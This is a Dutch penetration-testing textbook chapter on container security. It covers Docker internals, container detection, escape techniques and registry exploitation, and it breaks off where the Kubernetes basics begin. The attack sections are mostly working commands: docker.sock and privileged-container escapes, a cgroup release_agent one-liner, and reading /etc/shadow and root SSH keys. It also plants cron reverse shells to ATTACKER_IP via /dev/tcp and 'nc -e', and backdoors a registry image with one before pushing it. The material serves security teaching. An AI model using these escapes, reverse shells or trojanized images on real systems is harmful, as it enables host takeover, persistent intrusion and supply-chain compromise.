Container Security
Waarin we ontdekken dat het opsluiten van applicaties in dozen niet helpt als de doos van karton is, de bewaker slaapt, en iemand de sleutel onder de mat heeft gelegd.
6.1 Containers vanuit aanvalsperspectief
De belofte en de werkelijkheid
Containers zouden alles oplossen. Isolatie. Reproduceerbaarheid. Schaalbaarheid. De pitch was verleidelijk: stop je applicatie in een container, en je hoeft je nooit meer zorgen te maken over “maar het werkt op mijn machine.” En eerlijk is eerlijk – voor development is die belofte grotendeels waargemaakt. Voor security? Dat is een ander verhaal.
Het fundamentele probleem met containers is dat ze geen virtual machines zijn, maar vaak wel zo worden behandeld. Een virtual machine heeft een eigen kernel, eigen geheugen, eigen alles. Een container deelt de kernel met de host. Dat is het hele punt – het is wat containers zo licht en snel maakt. Maar het is ook wat ze fundamenteel anders maakt vanuit beveiligingsperspectief. Als je uit een container ontsnapt, sta je op de host. Er is geen hypervisor die je tegenhoudt. Er is geen tweede laag. Je bent er.
Stel je een flatgebouw voor. Virtual machines zijn appartementen met eigen muren, vloeren en plafonds – betonnen scheidingen die je niet kunt horen, laat staan bereiken. Containers zijn kamers in een gedeelde woonruimte, gescheiden door gipsplaatmuren. Je kunt er prima in wonen. Maar als iemand hard genoeg duwt, valt de muur om. En dan sta je in iemand anders’ kamer.
Docker architectuur
Docker is het de facto standaard containerplatform, al zijn er alternatieven zoals Podman, containerd en CRI-O. De architectuur is verrassend eenvoudig:
┌─────────────────────────────────────────────────┐
│ Host OS │
│ ┌─────────────────────────────────────────────┐ │
│ │ Docker Daemon (dockerd) │ │
│ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │
│ │ │Container │ │Container │ │Container │ │ │
│ │ │ App A │ │ App B │ │ App C │ │ │
│ │ │ (PID ns) │ │ (PID ns) │ │ (PID ns) │ │ │
│ │ │ (Net ns) │ │ (Net ns) │ │ (Net ns) │ │ │
│ │ │ (Mnt ns) │ │ (Mnt ns) │ │ (Mnt ns) │ │ │
│ │ └──────────┘ └──────────┘ └──────────┘ │ │
│ │ Gedeelde Linux Kernel │ │
│ └─────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────┘
De Docker daemon (dockerd) draait als
root op de host en beheert containers, images, networks en volumes. Dit
is meteen het eerste probleem: de daemon die alles beheert draait met de
hoogste privileges. Wie toegang heeft tot de daemon, heeft de facto root
op de host.
De Docker client (docker) communiceert
met de daemon via een Unix socket (/var/run/docker.sock) of
via TCP. Die Unix socket is het equivalent van de sleutel tot het
koninkrijk – een thema dat in dit hoofdstuk herhaaldelijk
terugkeert.
Namespaces zorgen voor isolatie. Linux namespaces geven elke container zijn eigen kijk op het systeem:
| Namespace | Wat het isoleert | Kernel flag |
|---|---|---|
| PID | Process IDs – container ziet alleen eigen processen | CLONE_NEWPID |
| Network | Netwerk interfaces, IP-adressen, routing | CLONE_NEWNET |
| Mount | Filesysteem mount points | CLONE_NEWNS |
| UTS | Hostname en domainname | CLONE_NEWUTS |
| IPC | Inter-process communication | CLONE_NEWIPC |
| User | User en group IDs | CLONE_NEWUSER |
| Cgroup | Cgroup root directory | CLONE_NEWCGROUP |
Cgroups (control groups) beperken hoeveel resources een container mag gebruiken – CPU, geheugen, disk I/O. Ze zijn meer een resource management-mechanisme dan een beveiligingsmaatregel, maar ze spelen een verrassende rol bij container escapes, zoals we later zullen zien.
Capabilities zijn Linux’s poging om root-privileges op te knippen in kleinere stukken. In plaats van alles-of-niets (root of niet-root) kun je specifieke capabilities toekennen. Docker dropt standaard een aantal gevaarlijke capabilities, maar laat er ook een paar staan die je liever niet zou zien:
# Standaard Docker capabilities (Docker 24+)
# TOEGESTAAN:
CAP_CHOWN, CAP_DAC_OVERRIDE, CAP_FSETID, CAP_FOWNER,
CAP_MKNOD, CAP_NET_RAW, CAP_SETGID, CAP_SETUID,
CAP_SETFCAP, CAP_SETPCAP, CAP_NET_BIND_SERVICE,
CAP_SYS_CHROOT, CAP_KILL, CAP_AUDIT_WRITE
# GEDROPPED (selectie van de gevaarlijkste):
CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE,
CAP_SYS_RAWIO, CAP_NET_ADMINCAP_NET_RAW is een interessante: het staat standaard aan
en maakt het mogelijk om raw sockets te openen. Dat betekent ARP
spoofing, ICMP flooding en packet sniffing vanuit een container. Niet
ideaal.
Images en layers
Docker images zijn opgebouwd uit layers – elke instructie in een Dockerfile creert een nieuwe layer. Dit is efficient voor opslag en distributie, maar het creert een beveiligingsprobleem: elke layer wordt permanent opgeslagen. Als je in stap 3 van je Dockerfile een geheim bestand kopieert en in stap 4 weer verwijdert, bestaat het bestand nog steeds in layer 3. Verwijderen is een illusie.
# Voorbeeld: het "verwijderde" geheim
FROM ubuntu:22.04
COPY secret-config.env /app/config.env # Layer 2: geheim bestaat
RUN rm /app/config.env # Layer 3: geheim is "weg"
# Spoiler: het geheim zit nog steeds in layer 2Dit is niet een theoretisch probleem. Het is een probleem dat penetratiesters regelmatig tegenkomen. AWS-sleutels, database-wachtwoorden, API tokens – ze worden gekopieerd, gebruikt en “verwijderd”, maar ze leven voort in de image layers als geesten die weigeren te vertrekken.
Registries
Docker registries zijn opslagplaatsen voor images. Docker Hub is de grootste publieke registry, maar organisaties draaien vaak ook private registries (Harbor, GitLab Container Registry, AWS ECR, Azure ACR, Google Artifact Registry).
Het probleem met registries is tweeledig. Ten eerste: publieke registries bevatten images die door iedereen zijn geupload, en het kwaliteits- en beveiligingsniveau varieert van “professioneel onderhouden” tot “een student die zijn eerste Docker-experiment deelde in 2019 en het sindsdien niet heeft aangeraakt.” Ten tweede: private registries zijn niet altijd zo privaat als men denkt.
IB Tip: Veel private Docker registries draaien zonder authenticatie op interne netwerken. Een portscan op poort 5000 (standaard Docker Registry) en poort 443 (Harbor) is een goed startpunt. Unauthenticated registries zijn een goudmijn voor credential extraction.
6.2 Docker Enumeration
Herkennen dat je in een container zit
Het eerste wat je moet vaststellen na het verkrijgen van een shell: ben ik in een container? Dit klinkt als een existentiele vraag, en in zekere zin is het dat ook. De omgeving om je heen ziet eruit als Linux, ruikt als Linux, maar is het wel echt Linux? Of is het een kartonnen decor?
Er zijn meerdere indicatoren:
# Indicator 1: .dockerenv bestand
ls -la /.dockerenv
# Als dit bestand bestaat, zit je (vrijwel zeker) in een Docker container
# Indicator 2: cgroup informatie
cat /proc/1/cgroup
# In een container zie je regels als:
# 12:devices:/docker/a1b2c3d4e5f6...
# Het pad bevat "docker" of een container ID (64 hex chars)
# Indicator 3: cgroup2 (nieuwere kernels)
cat /proc/self/mountinfo | grep -i docker
cat /proc/self/mountinfo | grep -i kubepods
# Indicator 4: PID 1 is niet systemd/init
cat /proc/1/cmdline | tr '\0' ' '
# Op een normale host: /sbin/init of /lib/systemd/systemd
# In een container: je applicatie (nginx, python, node, etc.)
# Indicator 5: hostname is een container ID
hostname
# Vaak een afgekapte hex string: a1b2c3d4e5f6
# Indicator 6: beperkt aantal processen
ps aux
# Een container heeft typisch maar een paar processen
# Indicator 7: environment variables
env | grep -i kube
env | grep -i docker
env | grep -i container
# KUBERNETES_SERVICE_HOST duidt op een Kubernetes pod
# Indicator 8: mount points
mount | grep overlay
# Overlay filesysteem is typisch voor containers
# Indicator 9: netwerk interfaces
ip addr
# veth interfaces duiden op container networking
# Indicator 10: capabilities
cat /proc/1/status | grep -i cap
# Beperkte capabilities set duidt op containerIB Tip: Een snelle one-liner om te bepalen of je in een container zit:
if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then echo "Container"; else echo "Host (waarschijnlijk)"; fi
Container escape indicators
Niet elke container is even goed beveiligd. Sommige configuraties zijn een uitnodiging om te ontsnappen. De volgende checks vertellen je of een escape mogelijk is:
# Check 1: Is de Docker socket gemount?
ls -la /var/run/docker.sock
# Als dit bestaat: JACKPOT. Volledige host-toegang mogelijk.
# Check 2: Draai je als privileged?
cat /proc/1/status | grep -i seccomp
# Seccomp: 0 = DISABLED (privileged container!)
# Seccomp: 2 = filter mode (normaal)
# Alternatief: probeer een mount
mount /dev/sda1 /mnt 2>/dev/null
# Als dit lukt: je bent privileged
# Check 3: SYS_ADMIN capability
cat /proc/1/status | grep CapEff
# Decodeer met: capsh --decode=<hex_waarde>
# Kijk of CAP_SYS_ADMIN (bit 21) aanwezig is
# Check 4: Kun je device nodes aanmaken?
mknod /tmp/test b 8 0 2>/dev/null && echo "VULNERABLE" && rm /tmp/test
# Check 5: Is /dev/sda (host disk) benaderbaar?
fdisk -l 2>/dev/null | grep /dev/sd
# Check 6: Host PID namespace gedeeld?
ls /proc/*/exe 2>/dev/null | wc -l
# Veel meer processen dan verwacht = host PID namespace
# Check 7: Host network namespace?
ip addr | grep -c eth
# Veel interfaces of het host-IP = host network
# Check 8: Sensitive host paths gemount?
mount | grep -E '/(etc|root|home|var/log)'
# Host directories gemount in container = data toegangEen methodisch overzicht van de escape-indicatoren:
| Indicator | Check | Impact |
|---|---|---|
| Docker socket mount | /var/run/docker.sock bestaat |
Volledige host-controle |
| Privileged mode | Seccomp disabled, alle capabilities | Container escape triviaal |
CAP_SYS_ADMIN |
In CapEff bitmask | Cgroup escape mogelijk |
CAP_SYS_PTRACE |
In CapEff bitmask | Process injection op host |
| Host PID namespace | --pid=host |
Host processen zichtbaar/injecteerbaar |
| Host network | --network=host |
Host netwerk volledig toegankelijk |
| Host path mounts | Gevoelige dirs gemount | Directe file access |
| Writable hostPath | / of /etc writable |
Host filesystem manipulatie |
Geautomatiseerde enumeratie
Handmatige checks zijn leerzaam, maar in de praktijk wil je tooling:
# deepce - Docker Enumeration, Escalation of Privileges and Container Escapes
# https://github.com/stealthcopter/deepce
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh
# CDK - Container penetration toolkit
# https://github.com/cdk-team/CDK
./cdk evaluate
# amicontained - introspection tool
# https://github.com/genuinetools/amicontained
./amicontaineddeepce is bijzonder handig omdat het niet alleen
detecteert of je in een container zit, maar ook automatisch bekende
escape-paden evalueert en rapporteert welke technieken waarschijnlijk
werken.
6.3 Docker Escape technieken
De ultieme vraag
Als je in een container zit, is er precies een vraag die ertoe doet: kun je eruit?
Container escapes zijn het equivalent van de grote ontsnapping uit een gevangenis, met dit verschil dat de gevangenismuren in veel gevallen meer lijken op een suggestie dan op een fysieke barriere. De meeste escapes exploiteren geen kernel-kwetsbaarheden – ze exploiteren misconfiguraties. Iemand heeft ergens een vinkje gezet dat niet gezet had moeten worden, of een volume gemount dat niet gemount had moeten worden, en plotseling is je container net zo goed beveiligd als een open deur.
6.3.1 De Docker Socket: de sleutel die onder de mat lag
De meest voorkomende en meest verwoestende container escape. Als
/var/run/docker.sock in de container is gemount, heb je
volledige controle over de Docker daemon op de host. Het is alsof je in
een gevangeniscel zit, maar de cipier heeft de sleutel van het hele
gebouw in je cel laten liggen.
Waarom mounten mensen de Docker socket in een container? Meestal voor CI/CD: Jenkins, GitLab Runner en vergelijkbare tools moeten containers kunnen starten, en de “makkelijke” manier is de Docker socket doorvoeren. Gemak boven beveiliging – het eeuwige lied.
# Stap 1: Verifieer dat de socket beschikbaar is
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 Jan 1 00:00 /var/run/docker.sock
# Stap 2: Installeer of download de Docker client
# Optie A: als curl beschikbaar is
curl -fsSL https://download.docker.com/linux/static/stable/x86_64/docker-24.0.7.tgz \
| tar xz --strip-components=1 -C /tmp/ docker/docker
export PATH=/tmp:$PATH
# Optie B: als de Docker client al in de container zit
which docker
# Stap 3: Controleer toegang tot de host daemon
docker ps
docker images
# Stap 4: Escape optie A - Mount het host-filesysteem
docker run -it --rm -v /:/host alpine chroot /host /bin/bash
# Je bent nu root op de host.
# Stap 4 alternatief: Escape optie B - Privileged container starten
docker run -it --rm --privileged --pid=host --net=host \
-v /:/host alpine chroot /host /bin/bash
# Stap 4 alternatief: Escape optie C - nsenter via host PID
docker run -it --rm --privileged --pid=host alpine \
nsenter -t 1 -m -u -i -n -p -- /bin/bashWat optie C doet verdient uitleg. nsenter betreedt de
namespaces van een bestaand proces. -t 1 target PID 1 – het
init-proces van de host. De flags -m -u -i -n -p betrekken
alle namespaces (mount, UTS, IPC, network, PID). Het resultaat: een
shell in de volledige context van de host.
# Als je geen Docker client hebt maar wel curl:
# Communiceer direct met de Docker API via de socket
# Lijst alle containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool
# Maak een nieuwe container met host filesystem mount
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["/bin/sh", "-c", "cat /host/etc/shadow"],
"Binds": ["/:/host"],
"Privileged": true
}'
# Start de container (vervang CONTAINER_ID)
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/CONTAINER_ID/start
# Lees de output
curl -s --unix-socket /var/run/docker.sock \
http://localhost/containers/CONTAINER_ID/logs?stdout=trueIB Tip: Als je de Docker socket hebt maar geen client en geen curl, kijk of
socat,wget, of zelfspythonbeschikbaar is. Python’surllibkan communiceren met Unix sockets via deurllib3library. Creativiteit is de penetratietester’s beste vriend.
6.3.2 Privileged containers: de gouden kooi zonder tralies
Een container die is gestart met --privileged heeft alle
Linux capabilities, toegang tot alle devices van de host, en een
disabled seccomp profiel. Het is een container in naam, maar in de
praktijk is het root op de host met een iets ander filesysteem.
# Escape via mount van het host-filesysteem
# Stap 1: Vind het host filesystem device
fdisk -l 2>/dev/null
# /dev/sda1: Linux filesystem
# Of via /proc
cat /proc/partitions
# major minor #blocks name
# 8 0 41943040 sda
# 8 1 41942016 sda1
# Stap 2: Mount het host filesysteem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Stap 3: Lees gevoelige bestanden
cat /mnt/host/etc/shadow
cat /mnt/host/root/.ssh/id_rsa
cat /mnt/host/root/.bash_history
ls -la /mnt/host/root/
# Stap 4: Schrijf een SSH-sleutel voor permanente toegang
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA...jouw_publieke_sleutel..." >> /mnt/host/root/.ssh/authorized_keys
chmod 600 /mnt/host/root/.ssh/authorized_keys
# Stap 5: Plant een cronjob voor een reverse shell
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
>> /mnt/host/etc/crontab6.3.3 CAP_SYS_ADMIN en de cgroups release_agent escape
Dit is de meest elegante container escape. Als je container
CAP_SYS_ADMIN heeft (wat het geval is bij
--privileged, maar soms ook expliciet is toegekend), kun je
de cgroups release_agent misbruiken om code uit te voeren
op de host.
De achtergrond: cgroups hebben een mechanisme genaamd
release_agent – een programma dat wordt uitgevoerd wanneer
de laatste taak in een cgroup eindigt. Dit programma wordt uitgevoerd
door de host kernel, niet door de container. Als je kunt
schrijven naar de release_agent van een cgroup, kun je
willekeurige commando’s uitvoeren op de host.
# Cgroup release_agent escape (cgroups v1)
# Stap 1: Mount een cgroup controller
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup -o memory cgroup /tmp/cgrp
# Stap 2: Maak een child cgroup aan
mkdir /tmp/cgrp/exploit
# Stap 3: Schakel notificatie in (zodat release_agent wordt getriggerd)
echo 1 > /tmp/cgrp/exploit/notify_on_release
# Stap 4: Vind het pad van de container in het host-filesysteem
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# Of:
host_path=$(cat /proc/self/mountinfo | grep "workdir" | awk '{print $4}' | head -1)
# Stap 5: Stel de release_agent in op een script op de host
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Stap 6: Schrijf het commando dat op de host moet draaien
cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output
# Of een reverse shell:
# bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
EOF
chmod +x /cmd
# Stap 7: Trigger de release_agent door een proces in de cgroup te starten en te stoppen
sh -c "echo \$\$ > /tmp/cgrp/exploit/cgroup.procs && sleep 0"
# Stap 8: Lees de output
cat /outputDit werkt omdat de kernel de release_agent uitvoert in
de host-context, niet in de container-context. De kernel maakt geen
onderscheid – het voert simpelweg het script uit dat geconfigureerd
staat. Het is een feature, geen bug. Althans, dat is wat de
kernel-ontwikkelaars zeggen. De penetratiesters in de zaal knikken
beleefd en openen hun terminal.
# One-liner variant (handig voor snelle exploitatie):
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo $t/c > $d/release_agent
printf '#!/bin/sh\nid > '$t'/o' > /c
chmod +x /c
sh -c "echo 0 > $d/w/cgroup.procs"
sleep 1
cat /o6.3.4 nsenter: door de achterdeur
Als de container is gestart met --pid=host (de container
deelt de PID namespace met de host), kun je nsenter
gebruiken om de namespaces van het host init-proces te betreden:
# Check of je host PID namespace hebt
ls /proc/*/cmdline 2>/dev/null | head -20
# Als je systemd, sshd, etc. ziet: host PID namespace
# nsenter naar de host
nsenter -t 1 -m -u -i -n -p -- /bin/bash
# -t 1 = target PID 1 (host init)
# -m = mount namespace
# -u = UTS namespace (hostname)
# -i = IPC namespace
# -n = network namespace
# -p = PID namespace
# Je hebt nu een volledige host shell6.3.5 Process injection via /proc
Als --pid=host is ingeschakeld en je
CAP_SYS_PTRACE hebt, kun je processen op de host
injecteren:
# Vind een host-proces (bijv. een root-owned proces)
ps aux | grep -v grep | grep root
# Gebruik een tool als nsenter of schrijf naar /proc/<PID>/mem
# Dit is complex maar krachtig - injecting shellcode in een bestaand host-proces
# Eenvoudiger: misbruik /proc/<PID>/root voor filesystem access
ls -la /proc/1/root/etc/shadow
cat /proc/1/root/etc/shadow6.3.6 Kernel exploits
Als geen van de bovenstaande misconfiguraties aanwezig is, rest de nucleaire optie: een kernel exploit. Omdat de container de kernel deelt met de host, compromitteert een kernel exploit de host.
# Controleer de kernel versie
uname -r
# Bekende container-relevante kernel exploits:
# CVE-2022-0847 (Dirty Pipe) - Linux 5.8+
# CVE-2022-0185 - file system context exploits
# CVE-2021-22555 - Netfilter heap OOB write
# CVE-2020-14386 - AF_PACKET privilege escalation
# CVE-2019-5736 - runc container escape (niet kernel, maar runtime)
# Voorbeeld: CVE-2019-5736 (runc overwrite)
# Deze exploit overschrijft de runc binary op de host
# via /proc/self/exe manipulatie
# Werkt op runc < 1.0.0-rc6CVE-2019-5736 verdient speciale vermelding. Het is geen kernel
exploit maar een container runtime exploit die het mogelijk maakt om de
runc binary op de host te overschrijven. Wanneer een
beheerder vervolgens docker exec uitvoert, wordt de
gemanipuleerde binary uitgevoerd met root-privileges op de host. Het is
diabolisch elegant.
Escape-overzicht
| Techniek | Vereiste | Complexiteit | MITRE ATT&CK |
|---|---|---|---|
| Docker socket | Socket gemount | Laag | T1611 |
| Privileged + mount | --privileged |
Laag | T1611 |
| Cgroup release_agent | CAP_SYS_ADMIN |
Middel | T1611 |
| nsenter | --pid=host |
Laag | T1611 |
| Process injection | --pid=host + CAP_SYS_PTRACE |
Hoog | T1055.008 |
| Kernel exploit | Kwetsbare kernel | Hoog | T1068 |
| runc exploit (CVE-2019-5736) | Kwetsbare runc | Middel | T1611 |
6.4 Image Security
Trojanized images: het paard van Troje in YAML
De ironie van container images is prachtig. We stoppen applicaties in containers voor “veiligheid” en “isolatie”, en vervolgens downloaden we die containers van het internet, van een willekeurige registry, gemaakt door een willekeurig persoon, en draaien ze met root-privileges. Het is alsof je je voordeur op slot doet en vervolgens een pakketje van een onbekende afzender opentrekt in je woonkamer.
Het probleem is niet theoretisch. Docker Hub heeft herhaaldelijk images gehost die cryptominers bevatten, backdoors installeren of credentials stelen. De official images (die met het blauwe vinkje) zijn over het algemeen betrouwbaar. Alles daaronder? Vertrouw maar verifieer. Of beter nog: vertrouw niet en verifieer alsnog.
Dockerfile analysis
De Dockerfile is de blauwdruk van een image. Het lezen ervan vertelt je veel over de beveiliging:
# RODE VLAGGEN in een Dockerfile:
# 1. Draait als root (geen USER instructie)
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y nginx
# Geen USER instructie = container draait als root
# 2. Secrets in environment variables
ENV DATABASE_PASSWORD=SuperSecret123!
ENV AWS_ACCESS_KEY_ID=AKIA...
ENV AWS_SECRET_ACCESS_KEY=wJal...
# 3. COPY van gevoelige bestanden
COPY .env /app/.env
COPY id_rsa /root/.ssh/id_rsa
COPY kubeconfig /root/.kube/config
# 4. Brede COPY die .git en andere gevoelige dirs meeneemt
COPY . /app/
# Kopieert ALLES, inclusief .git, .env, node_modules, etc.
# 5. Verouderde base image
FROM ubuntu:16.04
# End of life, geen security updates meer
# 6. curl | bash patroon
RUN curl -fsSL https://random-script.com/install.sh | bash
# Je voert willekeurige code van het internet uit als root. Briljant.
# 7. Onnodige packages
RUN apt-get install -y ssh telnet nmap netcat
# Waarom zitten er pentesting tools in je productie-image?Een goed geschreven Dockerfile ziet er zo uit:
# Best practices voorbeeld
FROM python:3.12-slim AS builder
WORKDIR /build
COPY requirements.txt .
RUN pip install --no-cache-dir --user -r requirements.txt
FROM python:3.12-slim
RUN groupadd -r appuser && useradd -r -g appuser appuser
COPY --from=builder /root/.local /home/appuser/.local
COPY --chown=appuser:appuser app/ /app/
USER appuser
ENV PATH=/home/appuser/.local/bin:$PATH
EXPOSE 8080
HEALTHCHECK CMD curl -f http://localhost:8080/health || exit 1
ENTRYPOINT ["python", "/app/main.py"]Secrets in layers: het verleden vergeet nooit
Het meest voorkomende probleem met Docker images is het lekken van secrets via layers. Zelfs als een secret wordt verwijderd in een latere layer, bestaat het nog steeds in de voorgaande layer.
# Docker history toont alle layers en hun commando's
docker history TARGET_IMAGE --no-trunc
# Kijk naar COPY en ENV instructies die secrets bevatten
# Voorbeeld output:
# IMAGE CREATED BY SIZE
# a1b2c3d4 /bin/sh -c rm /app/credentials.json 0B
# e5f6a7b8 /bin/sh -c #(nop) COPY file:abc123... /app/ 1.2kB
# c9d0e1f2 /bin/sh -c pip install -r requirements.txt 45MB
# De "rm" in de eerste regel is zinloos - het bestand
# is nog steeds beschikbaar in layer e5f6a7b8# dive - interactieve tool voor layer-analyse
# https://github.com/wagoodman/dive
dive TARGET_IMAGE
# Of handmatig layers extracten:
# Stap 1: Sla de image op als tar
docker save TARGET_IMAGE -o image.tar
# Stap 2: Pak de tar uit
mkdir image_layers && cd image_layers
tar xf ../image.tar
# Stap 3: Elke directory is een layer
# manifest.json vertelt je de volgorde
cat manifest.json | python3 -m json.tool
# Stap 4: Doorzoek elke layer op secrets
for layer in */layer.tar; do
echo "=== $layer ==="
tar tf "$layer" | grep -iE '(\.env|\.key|\.pem|password|secret|credential|token|kubeconfig)'
done
# Stap 5: Extract een specifiek bestand uit een layer
tar xf <layer_dir>/layer.tar ./app/credentials.json
cat ./app/credentials.json# Geautomatiseerd secrets scannen met trufflehog
trufflehog docker --image TARGET_IMAGE
# Of met Syft + Grype voor vulnerability scanning
syft TARGET_IMAGE -o json | grypeMulti-stage build leaks
Multi-stage builds zijn ontworpen om kleinere en veiligere images te produceren. Maar ze worden vaak verkeerd gebruikt:
# FOUT: Secret in builder stage, maar builder stage is nog steeds pushbaar
FROM golang:1.21 AS builder
COPY . /app
# .env en andere secrets zitten nu in de builder stage
RUN go build -o /app/server
FROM alpine:3.18
COPY --from=builder /app/server /server
# Final stage is schoon, maar als iemand de builder stage pusht...Het risico: als de builder stage als apart image wordt gepusht (wat sommige CI/CD pipelines doen voor caching), zijn alle secrets beschikbaar. Controleer altijd welke stages worden gepusht.
# Controleer of intermediate stages zijn gepusht
docker images | grep -i build
# Kijk in de registry voor onverwachte tags
curl -s https://REGISTRY/v2/APP/tags/list | python3 -m json.tool6.5 Docker Registry Exploitation
Unauthenticated registries
Private Docker registries draaien vaak zonder authenticatie op interne netwerken. Dit is een van die dingen die je als penetratietester met een mengeling van ongeloof en dankbaarheid constateert. Een registry die alle container images van de organisatie bevat – met al hun secrets, configuraties en source code – open en bloot op het netwerk.
# Stap 1: Ontdek registries op het netwerk
nmap -p 5000,443,8443 -sV SUBNET/24 | grep -i registry
# Stap 2: Test of de registry unauthenticated is
curl -s https://REGISTRY:5000/v2/
# {} = unauthenticated access!
# 401 = authenticatie vereist (maar test ook anonymous)
# Stap 3: Lijst alle repositories
curl -s https://REGISTRY:5000/v2/_catalog
# {"repositories":["webapp","api","internal-tools","jenkins-agent"]}
# Stap 4: Lijst alle tags van een repository
curl -s https://REGISTRY:5000/v2/webapp/tags/list
# {"name":"webapp","tags":["latest","v2.1","dev","staging"]}
# Stap 5: Haal het manifest op (bevat layer digests)
curl -s https://REGISTRY:5000/v2/webapp/manifests/latest \
-H "Accept: application/vnd.docker.distribution.manifest.v2+json"
# Stap 6: Download een specifieke layer (blob)
curl -s https://REGISTRY:5000/v2/webapp/blobs/sha256:ABC123... -o layer.tar.gz
# Stap 7: Analyseer de layer op secrets
tar xzf layer.tar.gz
grep -rn -iE '(password|secret|key|token|credential)' .
find . -name "*.env" -o -name "*.key" -o -name "*.pem" -o -name "kubeconfig"# Geautomatiseerd met DockerRegistryGrabber
# https://github.com/Syzik/DockerRegistryGrabber
python3 drg.py https://REGISTRY:5000 --dump_all
# Of handmatig alle images dumpen:
for repo in $(curl -s https://REGISTRY:5000/v2/_catalog | python3 -c "import sys,json; [print(r) for r in json.load(sys.stdin)['repositories']]"); do
echo "[*] Pulling $repo:latest"
docker pull REGISTRY:5000/$repo:latest 2>/dev/null
doneCredential extraction uit manifests
Image manifests bevatten soms configuratie die credentials onthult:
# Haal de image configuratie op
curl -s https://REGISTRY:5000/v2/webapp/manifests/latest \
-H "Accept: application/vnd.docker.distribution.manifest.v2+json" \
| python3 -c "
import sys, json
manifest = json.load(sys.stdin)
config_digest = manifest['config']['digest']
print(config_digest)
"
# Download de config blob
curl -s https://REGISTRY:5000/v2/webapp/blobs/sha256:CONFIG_DIGEST \
| python3 -m json.tool
# De config bevat:
# - Alle ENV variabelen (inclusief secrets!)
# - De volledige Dockerfile history
# - Labels en annotations
# - De user waaronder de container draaitRegistry push: images vervangen
Als je schrijftoegang hebt tot de registry, kun je images vervangen met getrojaniseerde versies:
# Stap 1: Pull het originele image
docker pull REGISTRY:5000/webapp:latest
# Stap 2: Voeg een backdoor toe
cat > Dockerfile.backdoor << 'EOF'
FROM REGISTRY:5000/webapp:latest
RUN apt-get update && apt-get install -y netcat-openbsd
RUN echo "* * * * * root nc -e /bin/bash ATTACKER_IP 4444" >> /etc/crontab
EOF
docker build -f Dockerfile.backdoor -t REGISTRY:5000/webapp:latest .
# Stap 3: Push het getrojaniseerde image
docker push REGISTRY:5000/webapp:latest
# De volgende keer dat iemand het image pullt en draait,
# krijg je een reverse shell. Elke minuut. Voor altijd.Dit is een supply chain-aanval in zijn puurste vorm. Geen zero-day nodig, geen exploit, alleen een registry die schrijfbaar is. De MITRE ATT&CK referentie is T1525 (Implant Internal Image).
6.6 Kubernetes Fundamenten
Van containers naar orkestatie
Docker is prima voor een enkel systeem met een handvol containers. Maar wat als je honderden containers hebt, verdeeld over tientallen servers, die automatisch moeten schalen, herstarten na een crash, en met elkaar moeten communiceren? Dan heb je een orkestratiesysteem nodig. En dat systeem is, in de overgrote meerderheid van de gevallen, Kubernetes.
Kubernetes – vaak afgekort als K8s, want developers vinden het blijkbaar onacceptabel om acht letters uit te typen – is een container-orkestratieplatform dat oorspronkelijk is ontwikkeld door Google. Het beheert de levenscyclus van containers op schaal, en het is complex. Ongelofelijk complex. Zo complex dat er een hele industrie is ontstaan van bedrijven die je helpen om Kubernetes te begrijpen, te configureren, te monitoren en te beveiligen. Het is complexiteit die complexiteit genereert, als een soort digitale voortplanting.
Maar voor een penetratietester is Kubernetes een paradijs. Een systeem met tientallen componenten, honderden configuratie-opties, en duizenden manieren om het verkeerd te doen. De aanvalsoppervlakte is enorm.
Kerncomponenten
┌──────────────────────────────────────────────────────────┐
│ Control Plane │
│ ┌──────────┐ ┌───────────┐ ┌──────────┐ ┌───────────┐ │
│ │API Server│ │ Scheduler │ │Controller│ │ etcd │ │
│ │ (6443) │ │ │ │ Manager │ │ (2379) │ │
│ └────┬─────┘ └───────────┘ └──────────┘ └───────────┘ │
│ │ │
├───────┼──────────────────────────────────────────────────┤
│ │ Worker Nodes │
│ ┌────┴─────────────────────────────────────────────┐ │
│ │ ┌────────┐ ┌────────────┐ ┌────────────────┐ │ │
│ │ │kubelet │ │kube-proxy │ │Container │ │ │
│ │ │(10250) │ │ │ │Runtime (CRI) │ │ │
│ │ └────────┘ └────────────┘ └────────────────┘ │ │
│ │ │ │
│ │ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐ │ │
│ │ │Pod A │ │Pod B │ │Pod C │ │Pod D │ │ │
│ │ └──────┘ └──────┘ └──────┘ └──────┘ │ │
│ └───────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
Pods zijn de kleinste deploybare eenheden. Een pod bevat een of meer containers die een netwerk namespace en opslag delen. In de praktijk draait er meestal een container per pod, maar sidecar patterns (waarbij een helper-container naast de main container draait) zijn gebruikelijk.
Services bieden een stabiel endpoint voor een set pods. Pods zijn efemeer – ze worden gecreeerd en vernietigd – maar een service biedt een vast IP-adres en DNS-naam. Typen services:
| Type | Bereik | Gebruik |
|---|---|---|
| ClusterIP | Alleen binnen het cluster | Interne communicatie |
| NodePort | Extern via node IP:poort | Development/testing |
| LoadBalancer | Extern via cloud LB | Productie |
| ExternalName | DNS CNAME | Externe services mappen |
Namespaces zijn logische scheidingen binnen een
cluster. Standaard namespaces zijn default,
kube-system (control plane componenten),
